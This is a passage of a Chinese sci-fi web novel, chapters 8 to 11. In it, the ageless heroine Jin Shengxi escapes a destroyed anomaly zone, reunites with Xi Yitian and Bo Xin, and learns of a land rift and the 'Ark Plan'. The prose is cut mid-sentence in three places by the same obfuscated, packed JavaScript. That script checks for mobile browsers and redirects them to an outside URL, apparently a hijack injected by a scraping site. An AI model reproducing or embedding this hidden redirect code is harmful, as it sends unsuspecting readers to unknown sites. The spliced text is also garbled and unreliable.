杨新一脸呆滞,苏喻却已知晓目的地,因为之前金晟夕出门去找头颅时,向她要过一块虚拟投屏机,那东西不过拇指大小,无需联网就能启动,并且能展开成巨大的立体界面。 而金晟夕也已布置好。 异象区辽阔得很,从高空望去,居然看不到尽头。 好在目的地不远,林疏港慢慢减速,飞行器逐渐降低高度,在一片深蓝色海域上方盘旋。 她似乎发现了什么,身体激动地往前倾,紧盯右前方十几米开外,引得其他乘客纷纷侧目去瞧。 只见蓝色海水被一道黑色脊背切开,一只虎鲸正向前游动。 它的背上托着一条小虎鲸。 画面与在电脑上看到的类似,却又感觉不同。也许因为照片只是记录瞬间,而眼前的景象正在流动,美得让人觉得不真实。 林疏港对两则新闻印象深刻,其中一则是关于这只虎鲸母亲的。 原来,小虎鲸在出生不到一小时便死去,按自然界规律,虎鲸母亲本该抛下它跟着族群继续迁徙。 但它没有。它独自托着死去的幼崽在海中游行了整整十七天。 这是极不理智的行为,这意味着离群,意味着在危机四伏的深海中独自面对饥饿与天敌。 可母鲸选择不进食、不休息,只是托着幼崽的尸体持续向前游着。 而在这十七天中的倒数第二天,距离这片海域不远的地方,发生了另一件同样违背理性的事,也就是林疏港看到的另一则新闻。 8. 掉了颗螺丝的打工人08 这则新闻是关于一名从未驾驶过飞机的地勤人员,他在未经许可的情况下独自启动了一架没有乘客的客机。 林疏港面无表情地讲述:“他跟地面塔台说自己只是想看看世界从高空俯视会是什么样。” 一个在机场终日与行李和传送带为伴的工作人员,有这样的愿望不足为奇。 “他的技术其实过得去,在塔台持续引导下,原本是有机会安全返航的。但他没有这么做。” 这名地勤人员驾驶到将要耗尽燃油时,选择将飞机坠在一座无人岛上。 机毁人亡。 “死之前,他说自己是一个破碎的、松了几颗螺丝的坏人。” “可我在想,他也许只是累了。” 机舱里一时无人出声,引擎的低鸣显得格外清晰。 林疏港沉沉叹气:“其实他还请求过塔台给他一个坐标。” 无需解释,所有人都明白,那坐标就是虎鲸妈妈所在的位置。 “塔台不可能提供这种信息,而他最终也没能亲眼见到这对虎鲸。” 林疏港没再说下去,但苏喻她们已理解了她的执念。 她一次次登上天台,望向对面楼顶的飞机,也许在某个瞬间,她也想像那名地勤人员一样,在某一天突然走进驾驶舱,启动引擎,飞离地面,去看高空之下的世界究竟是什么样。 她想就这样隔空陪虎鲸妈妈完成这趟哀悼之旅,感受地勤人员在空中的孤独飞行。 她想,人来到这世上,不该被固定在狭窄工位里度过一生,总该出去看看风景,甚至去做一些不被理解的事。 她想这样活一次,她觉得开飞机的自己一定笑容灿烂,因为不用再在深夜反复思考明天要交的东西,也不用靠流泪把紧绷的情绪耗光才能勉强入睡。 可惜想象来不及实现,生命就这样戛然而止。 苏喻红了眼眶,忍着没有落泪;杨新则垂着眼,神情黯淡。 金晟夕把脸转向舷窗外,不知在想什么。 这时,耳边忽然响起稀稀拉拉的碎裂声,原来是座椅突然崩毁! 两个小孩根本来不及反应,先后坠入海中。 苏喻强迫自己冷静,调整姿势试图向上游。但无论怎么用力,身体都没有上浮的趋势,反而在持续下沉,扭头看见杨新已经昏迷,身体无力地下坠着,她一下子更慌张了。 她想向金晟夕求救,却透过海面发现对方不仅没落水,还被林疏港抓住手腕对她说了什么,随后松开。 飞机如同破茧前的蚕蛹,机尾、机身、机头在接连崩解,林疏港化蝶般消失不见了。 同一时间,金晟夕坠入海中,迅速朝他们游来,就在苏喻彻底昏迷前,伸手握住了她。 “别吓晕过去啊,不会溺死的,别忘了你们的工作服!” 这话让苏喻回过神来,对哦,工作服有自带的输氧系统,并且已经启动了。短暂错愕后又很窘迫,她刚才竟以为自己会溺死。 可是,杨新为什么会昏迷? 彼时,金晟夕已经把杨新拖了过来,少年整个人倒垂在她肩上。 “他真倒霉,头先着水,可能会脑震荡。苏喻,你先试试叫醒他。实在不行,我暴揍一顿也不是不可以。” 苏喻默默接过杨新,给他注射了止痛剂。 药效起得很快。 杨新猛地吸了口气后,抱着脑袋呻吟。 “好啦好啦,别喊了,快看前面。” 苏喻抬头看见海底是一片白色沙滩,沙滩中央立着一枚球形体,看上去温顺无害。 但下一刻,它动了。 球体忽地探出数根细刺,恶狠狠地朝他们袭来。 金晟夕在它发动攻击的同时出手,寒光一闪,两三下就切断那些长刺,还从上至下劈开球体。 霹雳一响,球体应声碎成数块。周围景象随之变换,像被人从两侧拉开了幕布,海底、白沙、水浪一并向后退去。 再睁眼时,他们已躺在真实的土地上。 苏喻认出这里正是他们来到异象区前经过的建筑区。 老式建筑沿街排列,附近居民早已被疏散,在凌晨的雨夜里本该感到森冷,却有数辆悬浮车正疾驰而来,闪烁着黄蓝色警示光,车身上可见安防局的标识,让人安心。 喉咙一紧,苏喻差点泪流满面,真不敢相信自己真从异象区里逃出来了。 她不敢置信地环顾四周,犹记得执行任务时,区域外层被圆拱状的白雾笼罩着,而现在白雾已经消失,只在空中悬浮着一块奇特物体。 像一片巨大的浪花。 浪高近十米,定格在坠落前的瞬间。 这令她想到了遗迹。 林疏港是旧时代的人类,留下来的东西可不就是遗迹嘛。 她一辈子埋头工作,按部就班地活着,结果年纪轻轻就死去,这样的人生实在太荒唐了。眼前这道浪花,像是对世界发出的困惑,对人生意义的不可理解。 苏喻伸手想去触碰这道浪花,却被来人扶住双肩。 是后勤组的同事。 “喂,你没事吧?快过来帮忙,这里还有个幸存者。” 不远处有别的同事在照料昏迷的杨新,而她周围的人也逐渐多了起来。有人拉警戒线,有人勘察现场,有人低头记录,不远处还有个领队,正对着通讯器向指挥中心汇报:“报告,现场共发现两名幸存者,一名昏迷,一名受伤……” 苏喻愣了一下,想走过去询问,却在起身时觉到疼痛。 她这才发现腿受了伤。 那么,昏迷的是杨新,受伤的是她。金晟夕呢?她去哪了? ~ 遗迹浪花的背面,安防局先锋部总长官、薄家现任家主薄心,在接到消息后第一时间赶到现场。 新官上任虽不到一年,但先天的威严气质已让人对她敬畏七分,再加上那张与薄晴极为相似的脸,原本隶属于薄晴麾下的队员自会对她再敬畏三分。 “报告薄长官,未发现目标人物。”负责搜寻的队员前来汇报后,淋着雨低着头。 雨雾遮住了薄心的脸色,也模糊了远处刚升起的天光。 “怎么会找不到,你们有没有仔细找?”助理罗真站在薄心身侧,一边为她撑伞一边质问下属。 下属们将头埋得更低。 短暂沉默后,薄心才开口:“看来,有人提前来过。” 说完这话她便转身离开。 ~ 十几分钟前,核 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127232|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心被击碎,异象区瓦解。 雨雾缭绕,天色未明,金晟夕刚一落地,拔腿就跑。 这里虽然没人但到处都是天眼,她必须跑快点才不会被拍到,不然十分钟,不,五分钟之内,追捕就会到来。 不过很奇怪的是,明明一年前误入异象区时,外面还是一片荒地,连条像样的路都没有,可眼前这些破败建筑明显不是一年内的新建产物,那就只剩一种解释。 异象区动了。 可惜没时间细想缘由,得赶紧跑啊,躲过追捕才最要紧。 钻进一条狭窄小巷,堆满废弃机械的道路更验证了她的猜测,这时前方出现一堵倾斜危墙,脚一点借力上墙,翻身落下,继续向前冲。 天色在变亮,雨雾在消散,这不是好事。 好在前方终于露出一片开阔的荒地区,金晟夕抹了把脸,狠狠甩掉雨水,眯起眼仔细辨认,果然是她当初误闯异象区前的那段边境。 原来也没挪多远啊这异象区。 终于快要靠近荒地,面前又出现一堵矮墙,脚一点再撑手,刚要跃下,嗯?不对劲! 墙下有人。 她啧了一声,懊恼自己居然没提前发现,只好落地后赶紧往外跳开,与对方拉开数米距离,身体伏低戒备着。 高速奔跑让她的肺跟被人拧过似的,所以继续跑不现实,只能应战。 天色已亮,雨势弱了,云层透出一道暖白日光打在那人身上,而那人撑着一把黑伞没有靠近。 金晟夕看不清他的脸,只能看见挺拔身姿的男人单手插着西装裤袋,迎着风雨岿然不动,十足的优雅。 咦?这身形有点印象。可这并不是什么值得高兴的发现,毕竟她认识的人里大多是要来抓她的。 神经更加绷紧,目光牢牢锁住对方。只要他往前迈一步,她就动手。 风从荒地边境上掠过,时间一分一秒地过,对方仍纹丝不动,分明在等待。 这时金晟夕已然确定周遭没有埋伏,只他一人单枪匹马,且对她毫无敌意。 终于恍然大悟:“原来是你?!” 对方将伞一合,雨也识趣地停了。 他向她柔情一笑:“是我。” 金晟夕知晓这人打不过她,挠了挠下巴朝他走近:“席翊天,你一点也不见老啊。” 席翊天的脸蛋生得极俊,瞳色偏浅,在光线下显得通透柔美,与薄唇的冷感相抵出沉稳气质。 变化也不是没有。 原本利落的短发留成一头黑色长发,常戴的黑框眼镜则换成了金边的,再加这一身黑色紧身毛衣外搭长款西装外套,衬得整个人更加,嗯,性感的斯文。 金晟夕围着他上下打量,席翊天因此全身紧绷,双眸黏着她左右移动:“彼此彼此。” 他们虽是老朋友,但已经很久没见,因而金晟夕厉声问道:“你该不会是来抓我的吧?” 滴答,滴答,滴答。 即便雨水打湿她的衣摆,水珠正一颗颗往下砸,可她也毫不在乎,只顾着叉腰仰头死死盯他,神采依旧。 席翊天的心空了一拍:“永远都不会。而且,你的通缉令已经被我撤掉。” 金晟夕很惊讶后半句话:“什么意思?” 9. 暗号 席翊天抬起手腕,在她面前释放出一辆悬浮法拉利,走过去替她拉开副驾车门。 “你饿了吧?先吃饭好不好?” 一听到吃饭,眼睛立马亮了,金晟夕着急忙慌地跳上车坐定,搓手催促:“快点,我现在饿得能啃下你这辆豪车。” 席翊天微笑着坐进驾驶位,车门合拢,安全带自动收紧,自动驾驶模式进入待命状态。 他忽然开口:“你先看看后座。” 金晟夕狐疑地扭头,看到一个嵌入式恒温箱,里面盘踞着一条金色蟒蛇。她猛地把脸贴在箱子上,难以置信:“这这这这这,这不会是麒麟吧?!” 席翊天点头,屈起手指敲了一下,箱壁无声滑开一个圆孔。金蟒缓缓从洞口探头吐信子,贴近他的手指,再沿着手背游出,身体在空中盘绕一圈后,来到金晟夕的面前想跟她贴贴,结果被她狠狠抱住。 “麒——麟——我好想你啊!” 麒麟乖巧地伏在她臂弯之间。 车辆已自动驾驶,空调暖风吹干她身上的湿衣服,也吹干那脸颊上的泪痕。 席翊天在一旁注视着,等她和麒麟聊到肚子咕咕乱叫时,抬腕释放出一桌热气腾腾的饭菜。 金晟夕来不及感慨这车大到容得下一张饭桌,只顾着跳到桌前狼吞虎咽。 “刚吩咐人做好的,你尝尝看合不合胃口。” 席翊天给她调整好座椅,让她更舒适就餐,而后来到她身旁的座椅,脱下外套搭在椅子上坐下,挽起袖口给她剥虾壳、挑鱼刺。 金晟夕边吃边问:“麒麟怎么能活这么久?” 她记得蟒蛇的寿命极限是三十年,而当年领养它时就很年迈了,更何况它还感染过丧尸毒,按常理不可能活到今天。 席翊天如实道:“现在的医疗手段比以前先进,但宠物医生也说它只剩两年寿命。还好,它等到你回来了。” 金晟夕不禁有些感慨。 其实流浪期间她早就默认物是人非是常态。熟悉的伙伴会老去,曾经的宠物会死掉,过往的旧事会不再被人提及。 可现实却有些出乎她意料:席翊天没什么变化,而麒麟居然还在。 “谢谢你,席翊天,麒麟能活到现在一定是你照顾得好。” 说到这,她就觉得比起麒麟的长寿,席翊天才是最匪夷所思的那个。他又不是跟自己一样会不老,怎么一点变化也没有呢。 毕竟当过法医,对人体很是熟悉的金晟夕,一看对方的皮肤就知年龄,因而难免对席翊天感到讶异。 不过话又说回来:“你穿紧身毛衣还挺好看。” 他坐着不仅看不出一点赘肉还能看到隆起的块状肌肉,腹肌线条如此清晰,想来这么多年也没少锻炼。 金晟夕说这话时没有多余意味,只是她身旁的人不禁红了耳,抿嘴不知如何回应。 酒足饭饱后,舒服得她摸了摸自己圆滚滚的肚皮。 席翊天清了清嗓子问她:“撤掉通缉令的事,你现在想听吗?” 一听这话,本来还因为晕碳而引起的困意立即消散,连忙盘腿坐正,眼神示意他往下说。 原来,丧尸战争结束后,薄家在短短几年内迅速衰落。 毕竟当年上战场的主力几乎来自薄家,阵亡和重伤最多的也是薄家的人。而薄家本就人丁稀少,这样的消耗无异于致命打击,再加之资金告急,因而难以重整旗鼓。 席翊天就在这时介入的。 他调动自家资金支撑薄家,效果虽非立竿见影,但在往后几年里,局势确实一点点稳了下来。 薄席两家的渊源,金晟夕是知晓的。当年薄家家主薄意救过席家祖母一命,这层恩情本就足够分量,更何况薄家的没落本质上是为全人类付出的代价,席家伸出援手,名声上肯定获益。 但外人不知的是,自从席家介入后,安防局的结构有了变化。一线作战人员仍以薄家人为主,可行政、后勤、决策层等皆被席家接手。 这是席翊天背后操控的结果,如此做只有两个目的:一是重新调整安防局的发展定位;二是撤掉金晟夕的通缉令。 “不能只会打仗,也得懂得经营。” 金晟夕能理解,席翊天是在替安防局和薄家寻找一条可持续发展的路径,不过说到底,安防局的管理权还是落在席家手中。 席翊天没有否认这一点,只补充道:“我们每年私下会向薄家提供经费,用于招募和训练作战人员。” 而那些被训练出来的人,只知道自己效忠的是薄家家主。 有意思。 金晟夕向来不爱插手几大家族之间的博弈,可这次她忍不住好奇:“晴姐姐居然会同意?” 她口中的晴姐姐指的是薄晴。 席翊天自然清楚:“她没得选择。何况,行政管理本就不是她擅长的领域。” 金晟夕对此是认同的。 薄家原先有个相当厉害的管理者,也就是薄意,可她早已身亡,而薄晴原本一心也只投入到战斗,要她突然撑起整个安防局,本就在为难她。 金晟夕见席翊天欲言又止的脸色,干脆把话揭开:“你不用瞒我,我知道晴姐姐的事。” 他呼出一口气:“你知道多少?” 她三言两语把自己掌握的情况交代清楚后:“你可以跟我再讲讲。” 席翊天回道:“嗯,差不多。晴姐的天信信号一直接收不到,所以到现在也不知她的生死。” 金晟夕定睛看他:“你的判断?” 她很清楚席翊天观察局势的能力,当年多亏他才能找到丧尸大本营,更何况就在方才,这人还精准预判了她从异象区里出来后会往哪里逃,并蹲点蹲到了她。 席翊天:“还活着。” 金晟夕:“她进入的异象区在哪?” “消失了。” “消失?不是移动?” 席翊天点头:“目前已知的信息是,只有被你清除过的异象区才移动过,其余异象区位置不变。” 金晟夕沉默着消化这一切,突然想起:“听说她从异象区里出来过并留下信息?” 席翊天抬手在空中敲了两下,眼前便亮起了屏幕,上面显示着信息是: 今胜昔 金晟夕怔住:“今胜昔?跟我名字发音一样?” 席翊天微感意外:“你不知道它的含义?” “知道啊,今天胜过往昔,这是她留下的暗号?” 轮到席翊天沉默了。 金晟夕恍然:“哦,她是想说异象区和我有关?” 席翊天见她一副狡黠表情,无奈摇头:“我的理解是,她让我们去找你。” “找我?” “嗯,找你解决异象区。” 金晟夕一听这话,双眼止不住地眨。 席翊天真诚钦佩道:“而事实证明,你确实做到了。” 金晟夕向来喜欢自我吹嘘,可一旦被人一本正经地夸,反倒会有些不自在。 她不好意思地挠了挠头:“可我听说那个异象区的危险等级是最低的。而且,我不认为晴姐姐会留下这么简单的线索,今胜昔这几个字,应该还有别的意思。” 席翊天没有反驳:“暗号通常不会只有一层含义。” 金晟夕看向他:“所以,你有别的推测?” “算不上推测,只是直觉怀疑,这个暗号可能和消失的异象区的位置有关。” 这话令金晟夕眼睛一亮,猛地拍大腿:“有道理!” 兴奋只持续了一秒,她又泄了气:“可问题是,今胜昔到底是什么意思啊?” 说话间,车已抵达目的地,席家别墅。 法拉利驶过别墅的几道关卡,抵达里间大门后,席翊天领着还在思考的金晟夕下车:“不急,信息不全的情况下,多想只会出错。” 忽然他话锋一转:“另外,薄家现在由一位新家主掌管,她叫薄心。” 金晟夕对这名字毫无印象,可见席翊天的神色又很微妙:“我认识?” 知晓她记性差,便也不提,他只说道:“她想见你。” 这时空中突然裂开个口子,似有一面玻璃被踢碎,折射出刺目的晨光。金晟夕条件反射地眯起眼,只捕捉到一个直冲她而来的身影。 来人头戴红色头盔遮蔽面容,墨色立领大衣刻意挡住身形轮廓,然而只一眼金晟夕便确定这是个小女孩。 对方落地即攻,招式干脆凶狠,直劈她的颈侧。金晟夕抬臂格挡,再卸力推开、错步反击,可对方毫不退让,躲闪两下后继续进攻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127233|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “喂,你是谁?我哪儿得罪你了?一上来就要我命呀。” 金晟夕以手为刃,精准劈落对方踢来的腿,又往前半步想扭住这只腿,结果对方收得极快,同时还伸出另一条腿反击。整个人几乎腾空,腿势极猛地一味进攻,始终沉默不语。 “杀我之前,总该报上名来吧?” 回应金晟夕的依旧是沉默,攻势一刻不缓。 她一边拆招一边观察,却越打越觉得不对劲。就在这分神之际,手背被划开一道小口。 一旁观战的席翊天,眸色瞬间暗下。 好在没有出血。 但金晟夕还是惊讶了下,因为这女孩每次出手都击在她防备较薄弱的地方,而且这进攻方式她太熟悉了。 是薄晴! 但要真是她,金晟夕现在已经少了一只手。 心情忽然轻快起来:“小孩,你和薄晴是什么关系?” 对方只迟滞一秒,还是不答,攻势陡然加重。 “啧,不说是吧?” 金晟夕只好认真起来,抬脚一记猛踢,正中女孩的头盔侧面,将人直接砸翻在地。她顺势压上去扣住肩背,再卸下对方的头盔,将脸掰了过来。 只看一眼便僵住。 这张脸像极了薄晴,不过眉心多了颗红痣,而且气质也截然不同,因为她居然在笑,还讨好地求饶:“疼疼疼疼,姐姐你放开我,我认输,你大人有大量,呜呜呜呜……” 眼看女孩眼眶泛红,金晟夕立即从她身上弹跳起来。 要了命了,她可不想惹哭小姑娘。 然而事实证明她多虑了。 金晟夕这边刚站稳,那边女孩已经利索翻起身,方才的委屈烟消云散,转而冲她露出一脸笑:“姐姐,我是薄心呀。” 果然不是薄晴。 清冷的脸下是甜腻的声线,黑亮的眼珠子灵动地注视着她,俏皮劲都要从眼角溢出了。 更有意思的是她的发型。额前弯着一条弧形细辫,双耳后各坠着一条麻花辫,末端系着蓝白色丝巾。 这发型,是金晟夕小时候扎过的。 可金晟夕端详片刻后:“薄心?抱歉,我好像不认识你。” 薄心眼里的光瞬间黯淡,眼眶下一秒就要决堤。 金晟夕莫名生出罪恶感,下意识抬头看向席翊天。 他早就等她看过来:“你第一次见她的时候,她还不到三个月大。” 交待完,他递来一方手帕示意她擦汗。 金晟夕一边擦汗,一边努力回想薄心这个名字,这时响起管家卫忠的声音:“席总,薄大小姐她……”话没说完,他便看到薄心,心想不用汇报这院子的防护层被破坏的事了。 席翊天也无奈:“这里叫人收拾一下。” 卫忠连连应声,同时不忘向薄心吐苦水,薄心回了个鬼脸,令卫忠失笑,转向金晟夕,恭敬地点头:“阿金小姐好久不见,席总,咳,席家上下都很高兴能再见到您。” 金晟夕一眼就认出了卫忠。 当年清剿丧尸时,他始终跟在席翊天身后。如今人虽老了,背也微驼,可话一出口,就是一股子熟悉的话里有话的味儿。 “卫忠叔,好久不见呀。” 话没说完,怀里忽地一沉,是薄心扑到她怀里。 “姐姐你怎么可以这样!记得卫爷爷,却不记得我!” 金晟夕眉梢猛地一跳,伸手在她背上拍了拍:“我答应你,会努力想起你是谁的。不过你先起开,你这样抱着我,我没法走路。” 薄心乖乖松手,却只退开一点,仰脸看她:“好吧。既然姐姐这么说,那我就等着啦。不过刚刚卫爷爷没说全呢,不只是席家,薄家也一样的,都很高兴能再见到姐姐。” 说到这里,她的眼睛又亮了起来:“姐姐真的很好看,比通缉令上的照片好看多啦。” 金晟夕捡起地上的红色头盔递给她:“你也不错。”不仅外形气质还有身手,都看得出是当领袖的好苗子。 眼看薄心又要扑过去,席翊天适时开口:“换个地方继续聊。” 金晟夕这才想起还没聊完正事呢。 关于暗号、关于消失的异象区,还有从林疏港那边获得的信息,她完全一头雾水啊! 10. 方舟计划 别墅大门一侧有个电梯门,金晟夕与席翊天并肩走进去,薄心连忙跟上。 电梯门合上,亮起顶楼楼层。 薄心扫了一眼:“我还是第一次去这一层。” “嗯,你不可以破坏里面任何一样东西,知道吗?” 金晟夕挑了下眉,难得听他语气如此严厉:“什么东西?这么宝贝~” 这话里有明显想要搞破坏的心思,席翊天无奈摇头,薄心则听得不禁捂嘴偷笑,但还是规矩地回应席翊天:“知道了。” 金晟夕侧目打量薄心。她有点敬畏席翊天,被卫忠喊作大小姐,可又姓薄。 索性瞎猜:“席翊天,这是你家小孩?” 她以为是薄家哪位姐姐跟席翊天联姻生出的薄心,毕竟印象里只要是薄家人生的小孩,一律姓薄,不冠他姓。 然而席翊天快速否认:“不是。而且,我单身。” 电梯里安静了几秒。 金晟夕一脸遗憾:“啊,还是猜错了。行吧,我会想起来的。” 电梯继续上行,席翊天的心直往下沉。 站在他们身后的薄心当场满脑袋问号,来不及细究什么,电梯这时叮的一声停下。 门一开,里面居然是一整座森林。 席翊天领她们往森林深处走,到系在两棵高大树干之间的吊床前停下。金晟夕见着后顿时眼前一亮,跃上吊床。 薄心则完全呆住,因为这是她第一次见到真正的森林,深吸一口气,潮湿的空气裹着泥土与植物的气息,果然是真实的花草树木,哪怕它生在建筑当中。怔怔打量四周,她无比确定这片森林是被移植到这里的,而且年岁已久。 席翊天:“薄心,把你查到的情况说一下。” 薄心收敛神色,开始汇报。 她来这之前去过被金晟夕已摧毁核心的异象区,调度人员对区域进行快速勘查,而结果比预想中更惊喜。 “现场检测到一种新型能源,但能量水平极低,应该是主体被人拿走了。” 金晟夕躺在吊床上来回荡,听到这里时从怀里抽出一样东西,夹在指间给薄心看:“你说的新型能源是这个?” 那是一张巴掌大小的卡片,通体漆黑表面光滑,乍一看,完全不像所谓的新型能源。 而这张卡片,是林疏港消失后突然出现的。 薄心也跳上吊床,如愿以偿和她躺在一块,抬起手腕扫了一圈卡片后,咧嘴笑道:“等一分钟就会有结果。” 卡片在金晟夕的手指间翻动:“新型能源能做什么?” “因为新型能源和地裂的磁场一致,所以……” “等一下,地裂又是什么?” 薄心惊讶看她,而席翊天早已猜到:“你果然不知道。” 金晟夕起身坐正:“别打谜语,到底怎么回事?” 在丧尸战争结束后,人类本就只剩下极少数可居住区域,也就是净土区。可没想到在四年前的某一天,净土区边缘突然裂开一条巨大裂缝,将一侧土地抬升了两百多米,与净土区之间生生拉开了一道宽十余米的鸿沟。 那道鸿沟异常诡异,任何靠近它的人都会不受控地坠落下去。防护服和交通工具全都无效,根本无法跨越,更遑论飞抵那片已经升空的土地。 这场地裂来得毫无预兆,比丧尸更叫人忧心忡忡。因而理事会决定全面封锁相关信息,安防局则派人长期把守。 关于理事会,金晟夕当年在杀了老师后曾短暂接触过,只觉得里面的人都相当麻烦。不过席翊天解释说,现在的理事会里也有各大家族的人,包括他也是其中一员。 “哦,是嘛。”金晟夕对他意义不明地笑了下。 席翊天则回了个柔和笑容。他个人是认同理事会这次的处理方式的,毕竟那道鸿沟里没有爬出比丧尸更恐怖的东西,封锁可避免不必要的恐慌,只不过他原以为金晟夕在外多少听过一些传说。 金晟夕屈起食指敲下巴,想了下这四年来自己的处境,便也知晓为何对地裂的事一无所知,但她更讶异异象区的新型能源居然和地裂的磁场一致。 “我记得异象区是一年前才出现的吧?”地裂却是四年前发生的。 席翊天:“是。最初我们以为地裂只是一次孤立事件,毕竟后续没有出现任何异常,因此也没有与异象区关联起来,直到发现被异象区覆盖的原住民全都失联,并且它会吞没所有靠近它的人员。” 金晟夕听明白了:“异象区这吃人手法跟地裂有点像。” 席翊天点头:“而且,异象区被发现前不像地裂弄出了大动静,所以我们也不清楚它已经存在了多久。” 被发现不代表它实际存在的时间。这点道理浅显易懂,也就是所谓的:“潜伏期。” “是。” 俩人一来一回地交流,基本把目前的情况厘清了,剩下的就是:“所以要用新型能源去到地裂上面?” 薄心抢过话头:“是的姐姐,这就是方舟计划!” ~ 另一边,理事会。 唐涉一脸阴郁,刚加完一整夜的班就被拉来开会,谁也没办法心情愉悦。可他不爽的是,开会目的仅仅因为有人灭了异象区。 看着眼前这帮年过半百的老狐狸如临大敌,他嘴角的轻蔑挥散不去。 “武月,理事会有这么热闹过吗?” 武月是他的私人助理,一脸冷漠地注视圆桌中央上空的显示屏,那上面正在播放安防局提供的异象区内部录像,画面时断时续,然而还是清晰地拍到一个女人带着两名实习生消灭异象区的英姿。 “有过的,唐总,当时是发生了地裂。”就连一年前发现异象区,理事会这帮人都没聊得如此火急火燎,而话题围绕方舟计划和金晟夕。 “方舟计划是什么来着?”唐涉打了个哈欠,支着下颌看自己的指甲。 “唐总您贵人多忘事,方舟计划也有唐家集团的参与。”武月将方舟计划与集团签署的合同发到他外脑上。 唐涉一目十行看完,后仰身子将腿翘在桌上:“我们为什么要参与这赔钱玩意?” 在当下资源极其稀缺的情况下,人类需要更多土地。有研究者预测过,如果再放任不管,异象区会逐渐侵蚀所有土地,到时候人类就没有立足之地。方舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127234|196138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划由此而生,行动方针主要是两点,一是消灭异象区,二是去往地裂上面。 安防局的工作重心放在第一点,而理事会则看重第二点。武月面无表情地解释这些事,紧接着强调:“土地意味着一切,参与有利于集团荣誉。” 唐涉虽不屑地嘁了一声,却又玩味地笑起:“这个金晟夕,我记得是不老不死之身?” 原本半眯着眼的武月,这时睁大了双眸:“是。但她现在在席家。” “哦~”唐涉手敲椅子,沉默了好一会儿。 武月盯着他,等待指令。 终于,手指停止敲打:“实习生里有一位是苏家人?” “是,她叫苏喻,是苏无途的女儿。” 唐涉笑意更浓,侧脸看向武月。 她接收到眼神,便点头转身离开,去执行秘密任务。 ~ 薄心一分钟前检测的卡片结果出来了:果然是新型能源。 她已解释完方舟计划,并强调正是金晟夕成功清除一个异象区,才撬动了长期僵持的局面。也因此他们才意识到,方舟计划里原本独立的两个行动竟然相辅相成。 金晟夕听的过程中一直不吱声,此刻才抬头:“席翊天,你撤掉通缉令是为了让我出马?” 即便是在丧尸横行期间,席家集团也依旧延续商人的生存逻辑,在废墟之上维持甚至攫取了财富,才有余力去扶持其他家族。而只有商人才需要频繁做慈善,向世界声明这些钱来路正当。 所以当席翊天亲自出马撤她的通缉令时,金晟夕便心中有数这是有事求她,因而俯瞰着他,神态从容。 席翊天被看得来回摩挲手指,放慢呼吸:“我,我们需要你。而且你在异象区里得到的,除了那张卡片外,其余信息恐怕需要我们的协助才能理解。” 关于异象区里的一切,如果没有两名实习生的探测镜录像,怕是仅听复述也无法想象,更会漏掉许多细节。薄心在来的路上早已看过录像,但席翊天没有,他只需看金晟夕的表情就能猜到她经历了什么。 然而金晟夕不语,只是微笑。 席翊天语气又柔和了几分:“你不说,是打算一个人解决?” 金晟夕怔住。 席翊天用商量的口吻:“你在异象区里受了很严重的伤。” 薄心闻言,立马打量起她,衣服完整,气色甚佳,怎么看都不像受了重伤。而录像也不是完整的,从仅有的拍摄到金晟夕的画面里,她一直都游刃有余,完全没被攻击到。 金晟夕终于开口:“所以呢?你是觉得只靠我一个人,解决不了其他异象区?” 席翊天与她对视:“不是。我只是在猜,你应该很喜欢异象区,因为它们能真正伤到你。” 金晟夕瞬间仰头大笑。 她不得不承认他确实敏锐,显然已经猜到她之所以对异象区产生兴趣,其中一个原因是她终于找到可以弄死自己的办法。 见她如此,席翊天极轻地叹了口气,干脆换了话题:“我带你去地裂边境。看完之后你再做决定,怎么样?” 金晟夕猛地跳下吊床,正合她意。 11. 地裂边境 这次坐的是薄心的车,由她的助理罗真驾驶。 上车前,薄心指了安防局大楼给金晟夕看,那栋楼离席家并不算近,却因高耸得过于醒目,因而一眼就能见着。 金晟夕望过去盯了几秒,心想那已经不是她记忆里的安防局了,连城市也变了全样。 车辆启动自动驾驶,先平稳直行再上浮,驶出席家领地后,外界的喧嚣扑面而来。 由于土地稀缺,人类索性放弃在地面修路,所有交通工具都在高楼之间纵横穿梭。他们的车在约莫四五层楼的高度驶进,时而转向时而上升,视野里全是高楼。 方才在席翊天的法拉利里只顾上吃饭,都没时间看外面,此刻才发现上班族的车是直接驶向高层建筑的窗户,车进窗后短暂停留,人先下车,再将车收到手腕里,随后走向工位开始一天的工作。 人类变得很像蜜蜂。 金晟夕感慨:“城里可真便利。” 薄心往外随意看了一眼:“姐姐你之前一直在哪儿流浪呀?” “荒地。” 